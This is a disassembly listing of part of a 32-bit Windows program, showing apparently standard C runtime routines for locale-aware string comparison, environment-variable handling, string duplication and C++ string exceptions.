		lea	esi, [ebx+eax*4]
		jb	short loc_41D811
		lea	edi, [ebp+var_C]
		movsd
		movsd
		movsd
		dec	[ebp+var_A]
		lea	esi, [ebp+var_C]


loc_41D811:				; CODE XREF: sub_41D7AC+57j
		push	esi
		push	[ebp+arg_0]
		call	sub_41D58C
		pop	ecx
		pop	ecx
		xor	ecx, ecx


loc_41D81E:				; CODE XREF: sub_41D7AC+49j
		cmp	[ebp+arg_4], ecx
		jnz	short loc_41D7E6
		pop	edi
		pop	esi


loc_41D825:				; CODE XREF: sub_41D7AC+14j
					; sub_41D7AC+36j
		pop	ebx
		leave
		retn
sub_41D7AC	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D828	proc near		; CODE XREF: sub_41D499+5Ep
					; sub_41DCD9+18p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		cmp	[ebp+arg_8], 0
		jnz	short loc_41D835
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D835:				; CODE XREF: sub_41D828+7j
		push	ds:dword_45FC24
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		push	[ebp+arg_0]
		push	1
		push	ds:dword_45FE44
		call	sub_41D8D5
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41D862
		mov	eax, 7FFFFFFFh
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41D862:				; CODE XREF: sub_41D828+31j
		add	eax, 0FFFFFFFEh
		pop	ebp
		retn
sub_41D828	endp


; =============== S U B	R O U T	I N E =======================================



sub_41D867	proc near		; CODE XREF: sub_41D499+1Ep
					; sub_41DB52+5Bp

var_4		= dword	ptr -4

		push	ecx
		push	ebx
		push	ebp
		push	esi
		mov	esi, ds:dword_45E834
		push	edi
		xor	edi, edi
		mov	eax, [esi]
		cmp	eax, edi
		jz	short loc_41D8C8
		mov	ebx, ds:dword_41F128


loc_41D880:				; CODE XREF: sub_41D867+5Fj
		push	edi
		push	edi
		push	edi
		push	edi
		push	0FFFFFFFFh
		push	eax
		push	edi
		push	1
		call	ebx ; dword_41F128
		mov	ebp, eax
		cmp	ebp, edi
		jz	short loc_41D8D0
		push	ebp
		call	sub_413E5F
		cmp	eax, edi
		pop	ecx
		mov	[esp+14h+var_4], eax
		jz	short loc_41D8D0
		push	edi
		push	edi
		push	ebp
		push	eax
		push	0FFFFFFFFh
		push	dword ptr [esi]
		push	edi
		push	1
		call	ebx ; dword_41F128
		test	eax, eax
		jz	short loc_41D8D0
		push	edi
		push	[esp+18h+var_4]
		call	sub_41DB52
		mov	eax, [esi+4]
		add	esi, 4
		pop	ecx
		cmp	eax, edi
		pop	ecx
		jnz	short loc_41D880


loc_41D8C8:				; CODE XREF: sub_41D867+11j
		xor	eax, eax


loc_41D8CA:				; CODE XREF: sub_41D867+6Cj
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		pop	ecx
		retn
; ---------------------------------------------------------------------------


loc_41D8D0:				; CODE XREF: sub_41D867+29j
					; sub_41D867+38j ...
		or	eax, 0FFFFFFFFh
		jmp	short loc_41D8CA
sub_41D867	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41D8D5	proc near		; CODE XREF: sub_41D828+27p

var_3C		= dword	ptr -3Ch
var_36		= byte ptr -36h
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_10		= dword	ptr -10h
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h
arg_10		= dword	ptr  18h
arg_14		= dword	ptr  1Ch
arg_18		= dword	ptr  20h

		push	ebp
		mov	ebp, esp
		push	0FFFFFFFFh
		push	offset dword_41FC18
		push	offset sub_41AE98
		mov	eax, large fs:0
		push	eax
		mov	large fs:0, esp
		sub	esp, 30h
		push	ebx
		push	esi
		push	edi
		mov	[ebp+var_18], esp
		xor	ebx, ebx
		cmp	ds:dword_45EAE8, ebx
		push	1
		pop	edi
		jnz	short loc_41D948
		push	edi
		mov	eax, offset dword_41F868
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41F008	; CompareStringW
		test	eax, eax
		jz	short loc_41D925
		mov	ds:dword_45EAE8, edi
		jmp	short loc_41D948
; ---------------------------------------------------------------------------


loc_41D925:				; CODE XREF: sub_41D8D5+46j
		push	edi
		mov	eax, offset dword_42E344
		push	eax
		push	edi
		push	eax
		push	ebx
		push	ebx
		call	ds:dword_41F00C	; CompareStringA
		test	eax, eax
		jz	loc_41DB3E
		mov	ds:dword_45EAE8, 2


loc_41D948:				; CODE XREF: sub_41D8D5+31j
					; sub_41D8D5+4Ej
		mov	esi, [ebp+arg_C]
		cmp	esi, ebx
		jle	short loc_41D95F
		push	esi
		push	[ebp+arg_8]
		call	sub_41A025
		pop	ecx
		pop	ecx
		mov	esi, eax
		mov	[ebp+arg_C], esi


loc_41D95F:				; CODE XREF: sub_41D8D5+78j
		cmp	[ebp+arg_14], ebx
		jle	short loc_41D974
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		call	sub_41A025
		pop	ecx
		pop	ecx
		mov	[ebp+arg_14], eax


loc_41D974:				; CODE XREF: sub_41D8D5+8Dj
		mov	eax, ds:dword_45EAE8
		cmp	eax, 2
		jnz	short loc_41D999
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	esi
		push	[ebp+arg_8]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F00C	; CompareStringA
		jmp	loc_41DB40
; ---------------------------------------------------------------------------


loc_41D999:				; CODE XREF: sub_41D8D5+A7j
		cmp	eax, edi
		jnz	loc_41DB3E
		cmp	[ebp+arg_18], ebx
		jnz	short loc_41D9AE
		mov	eax, ds:dword_45E8A8
		mov	[ebp+arg_18], eax


loc_41D9AE:				; CODE XREF: sub_41D8D5+CFj
		cmp	esi, ebx
		jz	short loc_41D9BB
		cmp	[ebp+arg_14], ebx
		jnz	loc_41DA53


loc_41D9BB:				; CODE XREF: sub_41D8D5+DBj
		cmp	esi, [ebp+arg_14]
		jnz	short loc_41D9C8


loc_41D9C0:				; CODE XREF: sub_41D8D5+13Cj
					; sub_41D8D5+16Dj
		push	2


loc_41D9C2:				; CODE XREF: sub_41D8D5+146j
		pop	eax
		jmp	loc_41DB40
; ---------------------------------------------------------------------------


loc_41D9C8:				; CODE XREF: sub_41D8D5+E9j
		cmp	[ebp+arg_14], edi
		jle	short loc_41D9D4


loc_41D9CD:				; CODE XREF: sub_41D8D5+151j
					; sub_41D8D5+159j ...
		mov	eax, edi
		jmp	loc_41DB40
; ---------------------------------------------------------------------------


loc_41D9D4:				; CODE XREF: sub_41D8D5+F6j
		cmp	esi, edi
		jg	short loc_41DA19
		lea	eax, [ebp+var_3C]
		push	eax
		push	[ebp+arg_18]
		call	near ptr 0A70000h
		inc	eax
		test	eax, eax
		jz	loc_41DB3E
		cmp	esi, ebx
		jle	short loc_41DA1D
		cmp	[ebp+var_3C], 2
		jb	short loc_41DA19
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41DA19


loc_41D9FF:				; CODE XREF: sub_41D8D5+142j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41DA19
		mov	ecx, [ebp+arg_8]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41DA13
		cmp	cl, dl
		jbe	short loc_41D9C0


loc_41DA13:				; CODE XREF: sub_41D8D5+138j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41D9FF


loc_41DA19:				; CODE XREF: sub_41D8D5+101j
					; sub_41D8D5+120j ...
		push	3
		jmp	short loc_41D9C2
; ---------------------------------------------------------------------------


loc_41DA1D:				; CODE XREF: sub_41D8D5+11Aj
		cmp	[ebp+arg_14], ebx
		jle	short loc_41DA53
		cmp	[ebp+var_3C], 2
		jb	short loc_41D9CD
		lea	eax, [ebp+var_36]
		cmp	[ebp+var_36], bl
		jz	short loc_41D9CD


loc_41DA30:				; CODE XREF: sub_41D8D5+177j
		mov	dl, [eax+1]
		cmp	dl, bl
		jz	short loc_41D9CD
		mov	ecx, [ebp+arg_10]
		mov	cl, [ecx]
		cmp	cl, [eax]
		jb	short loc_41DA48
		cmp	cl, dl
		jbe	loc_41D9C0


loc_41DA48:				; CODE XREF: sub_41D8D5+169j
		inc	eax
		inc	eax
		cmp	[eax], bl
		jnz	short loc_41DA30
		jmp	loc_41D9CD
; ---------------------------------------------------------------------------


loc_41DA53:				; CODE XREF: sub_41D8D5+E0j
					; sub_41D8D5+14Bj
		push	ebx
		push	ebx
		push	esi
		push	[ebp+arg_8]
		push	9
		push	[ebp+arg_18]
		call	ds:dword_41F12C	; MultiByteToWideChar
		mov	[ebp+var_1C], eax
		cmp	eax, ebx
		jz	loc_41DB3E
		mov	[ebp+var_4], ebx
		add	eax, eax
		add	eax, 3
		and	al, 0FCh
		call	sub_413E30
		mov	[ebp+var_18], esp
		mov	eax, esp
		mov	[ebp+var_24], eax
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41DAA2
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		mov	[ebp+var_24], ebx
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+arg_C]
		push	1
		pop	edi


loc_41DAA2:				; CODE XREF: sub_41D8D5+1B5j
		cmp	[ebp+var_24], ebx
		jz	loc_41DB3E
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	esi
		push	[ebp+arg_8]
		push	edi
		push	[ebp+arg_18]
		mov	esi, ds:dword_41F12C
		call	esi ; dword_41F12C
		test	eax, eax
		jz	short loc_41DB3E
		push	ebx
		push	ebx
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	9
		push	[ebp+arg_18]
		call	esi ; dword_41F12C
		mov	esi, eax
		mov	[ebp+var_20], esi
		cmp	esi, ebx
		jz	short loc_41DB3E
		mov	[ebp+var_4], edi
		lea	eax, [esi+esi]
		add	eax, 3
		and	al, 0FCh
		call	sub_413E30
		mov	[ebp+var_18], esp
		mov	edi, esp
		mov	[ebp+var_28], edi
		or	[ebp+var_4], 0FFFFFFFFh
		jmp	short loc_41DB0D
; ---------------------------------------------------------------------------
		push	1
		pop	eax
		retn
; ---------------------------------------------------------------------------
		mov	esp, [ebp+var_18]
		xor	ebx, ebx
		xor	edi, edi
		or	[ebp+var_4], 0FFFFFFFFh
		mov	esi, [ebp+var_20]


loc_41DB0D:				; CODE XREF: sub_41D8D5+224j
		cmp	edi, ebx
		jz	short loc_41DB3E
		push	esi
		push	edi
		push	[ebp+arg_14]
		push	[ebp+arg_10]
		push	1
		push	[ebp+arg_18]
		call	ds:dword_41F12C	; MultiByteToWideChar
		test	eax, eax
		jz	short loc_41DB3E
		push	esi
		push	edi
		push	[ebp+var_1C]
		push	[ebp+var_24]
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	ds:dword_41F008	; CompareStringW
		jmp	short loc_41DB40
; ---------------------------------------------------------------------------


loc_41DB3E:				; CODE XREF: sub_41D8D5+63j
					; sub_41D8D5+C6j ...
		xor	eax, eax


loc_41DB40:				; CODE XREF: sub_41D8D5+BFj
					; sub_41D8D5+EEj ...
		lea	esp, [ebp-4Ch]
		mov	ecx, [ebp+var_10]
		mov	large fs:0, ecx
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41D8D5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DB52	proc near		; CODE XREF: sub_41D867+50p

var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ecx
		push	ebx
		push	esi
		push	edi
		xor	edi, edi
		cmp	[ebp+arg_0], edi
		jz	short loc_41DBB6
		push	3Dh
		push	[ebp+arg_0]
		call	sub_41DD98
		mov	esi, eax
		pop	ecx
		cmp	esi, edi
		pop	ecx
		mov	[ebp+var_8], esi
		jz	short loc_41DBB6
		cmp	[ebp+arg_0], esi
		jz	short loc_41DBB6
		mov	eax, ds:dword_45E82C
		xor	ebx, ebx
		cmp	[esi+1], bl
		setz	bl
		cmp	eax, ds:dword_45E830
		jnz	short loc_41DB9C
		push	eax
		call	sub_41DD31
		pop	ecx
		mov	ds:dword_45E82C, eax


loc_41DB9C:				; CODE XREF: sub_41DB52+3Cj
		cmp	eax, edi
		jnz	short loc_41DBF4
		cmp	[ebp+arg_4], edi
		jz	short loc_41DBBE
		cmp	ds:dword_45E834, edi
		jz	short loc_41DBBE
		call	sub_41D867
		test	eax, eax
		jz	short loc_41DBF4


loc_41DBB6:				; CODE XREF: sub_41DB52+Dj
					; sub_41DB52+22j ...
		or	eax, 0FFFFFFFFh


loc_41DBB9:				; CODE XREF: sub_41DB52+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41DBBE:				; CODE XREF: sub_41DB52+51j
					; sub_41DB52+59j
		cmp	ebx, edi
		jnz	loc_41DCD2
		push	4
		call	sub_413E5F
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_45E82C, eax
		jz	short loc_41DBB6
		mov	[eax], edi
		cmp	ds:dword_45E834, edi
		jnz	short loc_41DBF4
		push	4
		call	sub_413E5F
		cmp	eax, edi
		pop	ecx
		mov	ds:dword_45E834, eax
		jz	short loc_41DBB6
		mov	[eax], edi


loc_41DBF4:				; CODE XREF: sub_41DB52+4Cj
					; sub_41DB52+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, ds:dword_45E82C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_41DCD9
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_41DC54
		cmp	dword ptr [edi], 0
		jz	short loc_41DC54
		test	ebx, ebx
		jz	short loc_41DC4C
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_413ED3
		pop	ecx


loc_41DC26:				; CODE XREF: sub_41DB52+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_41DC36
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_41DC26
; ---------------------------------------------------------------------------


loc_41DC36:				; CODE XREF: sub_41DB52+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_41556F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41DC86
		jmp	short loc_41DC81
; ---------------------------------------------------------------------------


loc_41DC4C:				; CODE XREF: sub_41DB52+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_41DC86
; ---------------------------------------------------------------------------


loc_41DC54:				; CODE XREF: sub_41DB52+BDj
					; sub_41DB52+C2j
		test	ebx, ebx
		jnz	short loc_41DCD2
		test	esi, esi
		jge	short loc_41DC5E
		neg	esi


loc_41DC5E:				; CODE XREF: sub_41DB52+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_41556F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_41DBB6
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_41DC81:				; CODE XREF: sub_41DB52+F8j
		mov	ds:dword_45E82C, eax


loc_41DC86:				; CODE XREF: sub_41DB52+F6j
					; sub_41DB52+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_41DCD2
		push	[ebp+arg_0]
		call	sub_413DB0
		inc	eax
		inc	eax
		push	eax
		call	sub_413E5F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_41DCD2
		push	[ebp+arg_0]
		push	esi
		call	sub_413CC0
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	near ptr 0A70000h
		pop	ebx
		push	esi
		call	sub_413ED3
		pop	ecx


loc_41DCD2:				; CODE XREF: sub_41DB52+6Ej
					; sub_41DB52+104j ...
		xor	eax, eax
		jmp	loc_41DBB9
sub_41DB52	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DCD9	proc near		; CODE XREF: sub_41DB52+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, ds:dword_45E82C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_41DD14
		mov	edi, [esp+8+arg_4]


loc_41DCEB:				; CODE XREF: sub_41DCD9+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_41D828
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41DD0A
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_41DD24
		test	al, al
		jz	short loc_41DD24


loc_41DD0A:				; CODE XREF: sub_41DCD9+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_41DCEB


loc_41DD14:				; CODE XREF: sub_41DCD9+Cj
		mov	eax, esi
		sub	eax, ds:dword_45E82C
		sar	eax, 2
		neg	eax


loc_41DD21:				; CODE XREF: sub_41DCD9+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DD24:				; CODE XREF: sub_41DCD9+2Bj
					; sub_41DCD9+2Fj
		mov	eax, esi
		sub	eax, ds:dword_45E82C
		sar	eax, 2
		jmp	short loc_41DD21
sub_41DCD9	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DD31	proc near		; CODE XREF: sub_41DB52+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_41DD40
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41DD40:				; CODE XREF: sub_41DD31+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_41DD52


loc_41DD48:				; CODE XREF: sub_41DD31+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_41DD48


loc_41DD52:				; CODE XREF: sub_41DD31+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_413E5F
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_41DD73
		push	9
		call	sub_415C7E
		pop	ecx


loc_41DD73:				; CODE XREF: sub_41DD31+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_41DD77:				; CODE XREF: sub_41DD31+5Bj
		test	eax, eax
		jz	short loc_41DD8E
		push	eax
		add	ebx, 4
		call	sub_41DE0B
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_41DD77
; ---------------------------------------------------------------------------


loc_41DD8E:				; CODE XREF: sub_41DD31+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_41DD31	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DD98	proc near		; CODE XREF: sub_41DB52+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	ds:dword_45FC3C, 0
		jnz	short loc_41DDB3
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_415110
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DDB3:				; CODE XREF: sub_41DD98+Aj
		mov	ecx, [ebp+arg_0]


loc_41DDB6:				; CODE XREF: sub_41DD98+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_41DDF9
		movzx	edx, al
		test	ds:byte_45FD41[edx], 4
		jz	short loc_41DDE5
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_41DDF0
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_41DDF4
		jmp	short loc_41DDED
; ---------------------------------------------------------------------------


loc_41DDE5:				; CODE XREF: sub_41DD98+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_41DDF9


loc_41DDED:				; CODE XREF: sub_41DD98+4Bj
		inc	ecx
		jmp	short loc_41DDB6
; ---------------------------------------------------------------------------


loc_41DDF0:				; CODE XREF: sub_41DD98+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DDF4:				; CODE XREF: sub_41DD98+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_41DDF9:				; CODE XREF: sub_41DD98+25j
					; sub_41DD98+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_41DD98	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DE0B	proc near		; CODE XREF: sub_407E52+21p
					; sub_41DD31+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_41DE32
		push	esi
		call	sub_413DB0
		inc	eax
		push	eax
		call	sub_413E5F
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_41DE32
		push	esi
		push	eax
		call	sub_413CC0
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41DE32:				; CODE XREF: sub_41DE0B+7j
					; sub_41DE0B+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_41DE0B	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41DE40	proc near		; CODE XREF: sub_4034C7+15p
					; sub_403520+15p ...
		mov	eax, offset loc_41E330
		call	sub_4144F0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_4036CA
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_413DB0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_403706
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41DE9A
		lea	eax, [ebp-3Ch]
		push	offset dword_41FF78
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41FC34
		call	sub_41E299
		pop	esi
sub_41DE40	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41DE9A	proc near		; CODE XREF: sub_41DE40+3Fp
					; sub_41E06C+3Fp
		mov	eax, offset loc_41E344
		call	sub_4144F0
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_42E348
		call	sub_41E1BE
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_4036CA
		push	ds:dword_41F240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_403577
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41FC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41DE9A	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DEFE	proc near		; DATA XREF: seg001:0041FC38o
					; seg001:0041FC58o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_41DF0A
		mov	eax, offset dword_41F250

locret_41DF0A:				; CODE XREF: sub_41DEFE+5j
		retn
sub_41DEFE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41DF0B	proc near		; DATA XREF: seg001:0041FC5Co

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41DF81
		lea	eax, [ebp+var_1C]
		push	offset dword_41FFE8
		push	eax
		call	sub_41E299
sub_41DF0B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41DF28	proc near		; CODE XREF: seg000:0041DF68p
					; DATA XREF: seg001:0041FFECo
		mov	eax, offset loc_41E358
		call	sub_4144F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_4036CA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E245
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41DF28	endp

; ---------------------------------------------------------------------------


loc_41DF65:				; DATA XREF: seg001:off_41FC54o
		push	esi
		mov	esi, ecx
		call	sub_41DF28
		test	byte ptr [esp+8], 1
		jz	short loc_41DF7B
		push	esi
		call	sub_41450F
		pop	ecx


loc_41DF7B:				; CODE XREF: seg000:0041DF72j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_41DF81	proc near		; CODE XREF: sub_41DF0B+Ap
					; sub_41E054+7p ...
		mov	eax, offset loc_41E36C
		call	sub_4144F0
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_41E1FB
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_4036CA
		push	ds:dword_41F240
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_403577
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_41FC54
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_41DF81	endp


; =============== S U B	R O U T	I N E =======================================



sub_41DFDE	proc near		; CODE XREF: sub_41E01B+20p
					; DATA XREF: seg001:0041FF7Co
		mov	eax, offset loc_41E380
		call	sub_4144F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_4036CA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E245
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_41DFDE	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41E01B	proc near		; DATA XREF: seg001:0041FC3Co

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_41E054
		lea	eax, [ebp+var_1C]
		push	offset dword_41FF78
		push	eax
		call	sub_41E299


loc_41E038:				; DATA XREF: seg001:off_41FC34o
		push	esi
		mov	esi, ecx
		call	sub_41DFDE
		test	[esp+20h+var_18], 1
		jz	short loc_41E04E
		push	esi
		call	sub_41450F
		pop	ecx


loc_41E04E:				; CODE XREF: sub_41E01B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_41E01B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E054	proc near		; CODE XREF: sub_41E01B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_41DF81
		mov	dword ptr [esi], offset	off_41FC34
		mov	eax, esi
		pop	esi
		retn	4
sub_41E054	endp


; =============== S U B	R O U T	I N E =======================================



sub_41E06C	proc near		; CODE XREF: sub_403577+13p
					; sub_40373B+Ep
		mov	eax, offset loc_41E394
		call	sub_4144F0
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_4036CA
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_413DB0
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_403706
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_41DE9A
		lea	eax, [ebp-3Ch]
		push	offset dword_4200A0
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_41FC64
		call	sub_41E299
		pop	esi
sub_41E06C	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41E0C6	proc near		; CODE XREF: sub_41E103+20p
					; DATA XREF: seg001:004200A4o
		mov	eax, offset loc_41E3A8
		call	sub_4144F0
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_41FC54
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_4036CA
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_41E245
